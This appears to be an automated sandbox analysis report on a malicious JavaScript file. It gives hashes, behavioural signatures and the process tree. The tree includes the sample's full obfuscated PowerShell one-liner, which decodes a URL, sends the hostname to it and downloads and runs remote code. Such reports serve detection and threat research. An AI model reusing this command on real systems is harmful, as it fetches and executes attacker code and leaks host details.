Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
135s -
max time network
144s -
platform
windows10-2004_x64 -
resource
win10v2004-20230221-en -
resource tags
arch:x64arch:x86image:win10v2004-20230221-enlocale:en-usos:windows10-2004-x64system -
submitted
25/05/2023, 15:41
Static task
static1
Behavioral task
behavioral1
Sample
ABLO0145.js
Resource
win7-20230220-en
Behavioral task
behavioral2
Sample
ABLO0145.js
Resource
win10v2004-20230221-en
General
-
Target
ABLO0145.js
-
Size
783KB
-
MD5
7185517bd517dc2b79366fdba3af18fb
-
SHA1
274760c0ce0c69e93e73d83f9e954fb3b2e8f3a8
-
SHA256
99ef739335b8a3138f049a2cdca74d07688e6f2f87c9bb86c5ff6a2c0ac26113
-
SHA512
2a06d4b3ee0ea50bc5634674fe73b6a4be7ee98b670d7363a85c5f509c86e554797527db9a16832a3e88d7ded314bdd7386e756d789e267196ebcc968f1e7ccb
-
SSDEEP
3072:9MBzJEHRkkDnXOxU9nVUfPRlKaR6NgyvtqWXloUcrpVhp4+b1Ifd5xkypoVe/Fpl:IMaD1Bo1oiKyuuf
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1944 5036 conhost.exe 80 -
Blocklisted process makes network request 2 IoCs
flow pid Process 4 4816 powershell.exe 7 4816 powershell.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4816 powershell.exe 4816 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4816 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 1944 wrote to memory of 4816 1944 conhost.exe 84 PID 1944 wrote to memory of 4816 1944 conhost.exe 84 PID 4816 wrote to memory of 4244 4816 powershell.exe 85 PID 4816 wrote to memory of 4244 4816 powershell.exe 85
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\ABLO0145.js1⤵PID:4672
-
C:\Windows\system32\conhost.execonhost --headless powershell @(4396,4408,4408,4404,4350,4339,4339,4407,4392,4394,4403,4407,4338,4394,4409,4402,4339,4406,4408,4338,4404,4396,4404,4355,4397,4353)|foreach{$vgybjh=$vgybjh+[char]($_-4292)};$qomxuv='l';$tgz=$(hostname);new-alias trys cur$qomxuv;.$([char](7892-7787)+'ex')(trys -useb "$vgybjh$tgz")1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1944 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell @(4396,4408,4408,4404,4350,4339,4339,4407,4392,4394,4403,4407,4338,4394,4409,4402,4339,4406,4408,4338,4404,4396,4404,4355,4397,4353)|foreach{$vgybjh=$vgybjh+[char]($_-4292)};$qomxuv='l';$tgz=$(hostname);new-alias trys cur$qomxuv;.$([char](7892-7787)+'ex')(trys -useb $vgybjh$tgz)2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4816 -
C:\Windows\system32\HOSTNAME.EXE"C:\Windows\system32\HOSTNAME.EXE"3⤵PID:4244
-
-
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82